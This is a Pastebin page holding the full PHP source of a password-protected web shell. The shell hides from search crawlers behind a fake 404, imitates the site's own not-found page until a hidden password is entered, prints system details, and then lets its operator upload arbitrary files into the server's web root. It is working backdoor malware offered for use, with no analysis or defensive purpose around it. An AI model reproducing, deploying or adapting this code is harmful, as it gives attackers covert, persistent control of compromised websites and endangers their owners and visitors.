Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <?php
- $auth_pass = "1097f58d69c79fce85e73ccb30ca2043";
- session_start();
- error_reporting(0);
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if (!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- } function login_shell() {
- $random_url = mt_rand(1000000, 247345736453);
- $curl = curl_init();
- $protocol = 'http://';
- if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') {
- $protocol = 'https://';
- }
- curl_setopt($curl, CURLOPT_URL, $protocol . $_SERVER['HTTP_HOST'] . '/' . $random_url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- $server_404 = curl_exec($curl);
- $server_404 = str_replace("/{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
- $server_404 = str_replace("{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
- echo $server_404;
- ?>
- <head>
- <style type="text/css">
- html {
- margin: 20px auto;
- }
- header {
- margin: 10px auto;
- }
- input[type=password] {
- width: 180px;
- height: 2opx;
- color: black;
- border: 1px dotted green;
- padding: 5px;
- margin-left: 20px;
- text-align: center;
- }
- </style>
- </head>
- <body onkeyup="displayunicode(event); this.select()">
- <script type="text/javascript">
- function displayunicode(e){
- var unicode=e.keyCode? e.keyCode : e.charCode
- if(unicode==187){
- document.getElementById('pass').type = 'password';
- document.getElementById("member");
- }
- }
- </script>
- <form method="post">
- <center>
- <input type="hidden" name="pass" id="pass"></center>
- <p id="member"></p>
- </form>
- </body>
- <?php
- exit;
- }
- if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
- else login_shell();
- echo "<b>".php_uname()."</b><br><br>";
- echo "<form method='post' enctype='multipart/form-data'>
- <input type='file' name='idx_file'>
- <input type='submit' name='upload' value='upload'>
- </form>";
- $root = $_SERVER['DOCUMENT_ROOT'];
- $files = $_FILES['idx_file']['name'];
- $dest = $root.'/'.$files;
- if(isset($_POST['upload'])) {
- if(is_writable($root)) {
- if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
- $web = "http://".$_SERVER['HTTP_HOST']."/";
- echo "sukses -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
- } else {
- echo "gagal ;(";
- }
- } else {
- if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
- echo "sukses upload <b>$files</b> di folder ini";
- } else {
- echo "gagal upload";
- }
- }
- }
- echo "<br><a href='?logout=true'>Logout</a>";
- if($_GET['logout'] == true) { unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location=' ? ';
- </script>";
- }
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location=' ? ';</script>";
- }
- ?>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment